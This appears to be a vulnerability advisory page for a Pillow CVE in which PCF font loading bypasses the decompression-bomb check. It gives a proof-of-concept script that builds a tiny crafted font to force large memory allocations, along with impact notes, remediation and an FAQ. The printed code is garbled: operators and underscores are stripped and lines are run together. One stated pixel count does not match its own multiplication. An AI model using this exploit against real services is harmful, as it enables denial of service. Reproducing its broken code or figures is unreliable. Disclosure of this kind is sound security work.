CVE-2026-54059: Pillow: PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
Description PIL/PcfFontFile.py loadbitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image.decompressionbombcheck(). Dimensions originate from unsigned 16-bit values:
xsize = right - left (max: 65535 − 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070)
Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.
Vulnerable code (PIL/PcfFontFile.py line 224–227): python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO decompressionbombcheck()! )
Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:
- Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently - Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond
Steps to reproduce
Proof of Concept script:
python #!/usr/bin/env python3 """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" import io, struct, tracemalloc, warnings warnings.filterwarnings("ignore")
from PIL.PcfFontFile import PcfFontFile from PIL.Image import decompressionbombcheck, DecompressionBombWarning, DecompressionBombError
W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold
Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: decompressionbombcheck((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).name}") warnings.filterwarnings("ignore")
PCF binary constants PCFMAGIC = 0x70636601 PCFPROPS = 1 << 0 PCFMETRICS = 1 << 2 PCFBITMAPS = 1 << 3 PCFENCODINGS= 1 << 5
def buildbombpcf(xsize, ysize): # Properties: empty props = struct.pack("<III", 0, 0, 0)
# Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent metrics = struct.pack("<II", 0, 1) metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
# Bitmaps: 1 glyph, empty data (transient attack) bitmaps = struct.pack("<II", 0, 1) bitmaps += struct.pack("<I", 0) # offset[0] = 0 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmapsizes all = 0
# Encodings: char 0x41 ('A') → glyph 0 encoffsets = [0xFFFF]65 + [0] + [0xFFFF]62 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF) encodings += struct.pack("<" + "H"128, encoffsets)
secs = [(PCFPROPS, props), (PCFMETRICS, metrics), (PCFBITMAPS, bitmaps), (PCFENCODINGS, encodings)] hdrsize = 4 + 4 + len(secs) 16 out = struct.pack("<II", PCFMAGIC, len(secs)) offset = hdrsize for stype, sdata in secs: out += struct.pack("<IIII", stype, 0, len(sdata), offset) offset += len(sdata) for , sdata in secs: out += sdata return out
pcf = buildbombpcf(W, H) print(f"[] PCF file size : {len(pcf)} bytes") print(f"[] Glyph size : {W} x {H} = {WH:,} pixels") print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)")
tracemalloc.start() try: font = PcfFontFile(io.BytesIO(pcf)) , peak = tracemalloc.gettracedmemory() tracemalloc.stop() print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/10242:.2f} MB") except Exception as e: , peak = tracemalloc.gettracedmemory() tracemalloc.stop() print(f"[!] CONFIRMED (transient): {type(e).name} after allocation") print(f" Heap peak: {peak/10242:.2f} MB") print(f" C-heap allocation of ~{WH//8//10242} MB occurred before exception")
Expected output: [Image.open() path] BLOCKED by DecompressionBombError [] PCF file size : 148 bytes [] Glyph size : 14000 x 14000 = 196,000,000 pixels [] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exception
Amplification table:
| PCF file | Glyph dims | C-heap (mode '1') | Bomb check | |---|---|---|---| | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed | | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed | | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |
Impact - Availability: HIGH — up to 1.07 GB per glyph, no limit per font file - Confidentiality: None - Integrity: None - Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected - PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path - Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07
Other sources
Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py loadbitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image.decompressionbombcheck(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/pillowto a version that resolves this vulnerability.Fixed in 12.3.0 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 12.3.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-54059?
The severity of CVE-2026-54059 is rated as high with a score of 7.5.
How do I fix CVE-2026-54059?
To fix CVE-2026-54059, you should upgrade to Pillow version 12.3.0 or later.
What does CVE-2026-54059 affect?
CVE-2026-54059 affects the Pillow library, specifically the handling of bitmap data in PCF font files.
What is the main risk associated with CVE-2026-54059?
The main risk of CVE-2026-54059 is a potential memory exhaustion attack due to a decompression bomb bypass.
How can CVE-2026-54059 be exploited?
CVE-2026-54059 can be exploited by providing crafted PCF font data that leads to excessive memory allocation.